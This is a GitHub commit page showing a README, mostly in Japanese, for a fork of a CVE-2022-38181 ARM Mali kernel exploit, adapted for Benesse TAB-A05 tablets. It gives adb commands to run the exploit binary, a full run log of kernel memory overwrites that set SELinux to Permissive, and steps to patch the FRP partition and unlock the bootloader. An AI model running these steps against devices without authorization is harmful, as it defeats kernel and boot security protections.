forked from Pro-me3us/CVE_2022_38181_Raven
-
Notifications
You must be signed in to change notification settings - Fork 3
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Signed-off-by: yuu <[email protected]> Signed-off-by: Syuugo <[email protected]> Co-authored-by: yuu <[email protected]>
- Loading branch information
Showing
3 changed files
with
406 additions
and
392 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,32 +1,127 @@ | ||
## Exploit for CVE-2022-38181 for FireTV 2nd gen Cube | ||
## Exploit for CVE-2022-38181 for TAB-A05-BD(CTX) and TAB-A05-BA1(CTZ) | ||
|
||
This is a fork of security researcher Man Yue Mo's [Pixel 6 POC](https://github.com/github/securitylab/tree/main/SecurityExploits/Android/Mali/CVE_2022_38181) for CVE-2022-38181. Read his detailed write-up of the vulnerability [here](https://github.blog/2023-01-23-pwning-the-all-google-phone-with-a-non-google-bug/). Changes have been made to account for FireOS's 32bit userspace, as well as the 2nd gen Cube's older Bifrost drivers (r16p0) and Linux kernel (4.9.113) versions. The POC exploits a bug in the ARM Mali kernel driver to gain arbitrary kernel code execution, which is then used to disable SELinux and gain root. | ||
これは、**TAB-A05-BD** 及び **TAB-A05-BA1** 専用の SELinux の状態を **`Permissive`** にするためのエクスプロイトです。 | ||
|
||
## 使用方法 | ||
|
||
> [!NOTE] | ||
> まず、大前提として、ADB が使用可能である必要が有ります。 | ||
> 開発者向けオプションが塞がれている場合、[**DchaStateChanger**](https://github.com/SmileTabLabo/DchaStateChanger) や [**NovaDirectInstaller**](https://github.com/s1204IT/NovaDirectInstaller) を使用してください。 | ||
I used the following command to compile with clang in ndk-21: | ||
``` | ||
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi30-clang -DSHELL mali_shrinker_mmap32.c -o raven_shrinker | ||
adb push shrinker /data/local/tmp | ||
adb shell chmod +x /data/local/tmp/shrinker | ||
adb shell /data/local/tmp/shrinker | ||
``` | ||
The exploit should be run 30-90sec after the Cube boots for greatest reliability. | ||
|
||
> [!IMPORTANT] | ||
> `shrinker` を実行して一回目で成功できるとは限りません。 | ||
> 途中でクラッシュしたり、無効な引数があると返される場合があります。 | ||
> 残念ながら仕様なので、根気強く何度も挑戦して下さい。 | ||
一番最後に **`result 49`** と返ってきたら、 | ||
``` | ||
raven:/ $ /data/local/tmp/raven_shrinker | ||
fingerprint: Amazon/raven/raven:9/PS7624.3337N/0026810845440:user/amz-p,release-keys | ||
failed, retry. | ||
failed, retry. | ||
failed, retry. | ||
adb shell getenforce | ||
``` | ||
これを実行して、**`Permissive`** と返って来る事を確認して下さい。 | ||
エクスプロイトの実行は成功です。 | ||
|
||
<details><summary>TAB-A05-BD 01.11.000 での実行コード</summary> | ||
|
||
``` | ||
TAB-A05-BD:/ $ /data/local/tmp/shrinker | ||
fingerprint: benesse/TAB-A05-BD/TAB-A05-BD:9/01.11.000/01.11.000:user/release-keys | ||
failed, retry. | ||
region freed 80 | ||
alias gpu va 100c85000 | ||
region freed 56 | ||
alias gpu va 100642000 | ||
read 0 | ||
cleanup flush region | ||
release_mem_pool | ||
reserve pages here | ||
jit_freed | ||
jit_free commit: 2 0 | ||
Found freed_idx 2 | ||
Found pgd 23, 100cce000 | ||
overwrite addr : 104100634 634 | ||
overwrite addr : 104300634 634 | ||
overwrite addr : 1041001c4 1c4 | ||
overwrite addr : 1043001c4 1c4 | ||
result 50 | ||
raven:/ # | ||
jit_free commit: 0 0 | ||
Found freed_idx 0 | ||
find_pgd, freed_idx is 0 start_pg is 0 | ||
find_pgd, freed_idx is 0 start_pg is 0 | ||
Found pgd 23, 100659000 | ||
write_data overwrite addr : 1041009bc 9bc | ||
write_data overwrite addr : 1043009bc 9bc | ||
write_func called with code_size = 8 | ||
write_func overwrite addr : 104100d48 d48 | ||
write_func overwrite addr : 104300d48 d48 | ||
time to run_enforce | ||
run_enforce: before sleep | ||
run_enforce: after sleep | ||
run_enforce: open | ||
result 48 | ||
run_enforce_un: before sleep | ||
run_enforce_un: after sleep | ||
run_enforce_un: open | ||
run_enforce_un: after read | ||
run_enforce_un: after close | ||
result 49 | ||
TAB-A05-BD:/ $ getenforce | ||
Permissive | ||
``` | ||
</details> | ||
|
||
> [!TIP] | ||
> ブートローダーアンロックは別の処理が必要となるので、次項を参照してください。 | ||
## ブートローダーアンロック | ||
|
||
|
||
> [!IMPORTANT] | ||
> SELinux が **`Permissive`** の状態の端末を使用してください。 | ||
始めに、[**DchaServiceTester**](https://github.com/s1204IT/DchaServiceTester/releases/latest) をインストールしてください。 | ||
インストールが終わり次第、アプリを起動し、**`copyUpdateImage`** を選択して下さい。 | ||
|
||
「ファイルのコピー元フルパス」を **`/dev/block/by-name/ftp`** 、「ファイルのコピー先フルパス」を **`/sdcard/frp.bin`** にして実行します。 | ||
正しく実行していれば、`true` と返ってくるはずです。 | ||
|
||
PC に移り、 | ||
``` | ||
adb pull /sdcard/frp.bin | ||
``` | ||
この様に実行し、`frp.bin` を抽出します。 | ||
|
||
抽出したら、[HexEd.it](https://hexed.it/ "HexEd.it - Browser-based Online and Offline Hex Editing") を開き、左上の「ファイルを開く」から、先程抽出した`frp.bin`を選択します。 | ||
|
||
**一番最後の部分**を、`00` から **`01`** に書き換え、保存します。 | ||
[![](https://github.com/SmileTabLabo/CVE-2022-38181/assets/52069677/a7627e2f-7b33-48fd-a0e6-59d637197352)](#) | ||
|
||
保存出来次第、 | ||
``` | ||
adb push frp.bin /sdcard/frp.bin | ||
``` | ||
この様に実行し、端末側に送ります。 | ||
|
||
もう一度、**DchaServiceTester** を開き、次は コピー元 と コピー先 を逆にして実行します。 | ||
先程と同様に、正しく実行していれば、`true` と返ってくるはずです。 | ||
|
||
FRP の書き換えが出来たら、 | ||
``` | ||
adb reboot bootloader | ||
``` | ||
これを実行し、fastboot モードに入ります。 | ||
|
||
``` | ||
fastboot flashing unlock | ||
``` | ||
これを実行し、端末側で 音量+ ボタンを押します。 | ||
5秒程度でアンロックが完了します。 | ||
|
||
> [!TIP] | ||
> この時点で、修正済み `factory.img` をフラッシュする事を強くお勧めします。 | ||
``` | ||
fastboot reboot | ||
``` | ||
これを実行し、端末を再起動したら、自動的に初期化が始まります。 | ||
|
||
これでブートローダーアンロックは完了です! | ||
|
||
## Thanks | ||
- [@Baiker000](https://github.com/Baiker000) | ||
<https://xdaforums.com/t/potential-arm-mali-gpu-based-root-firehd-8th-12th-gen-affected.4574635/page-6#post-89350071> |
Oops, something went wrong.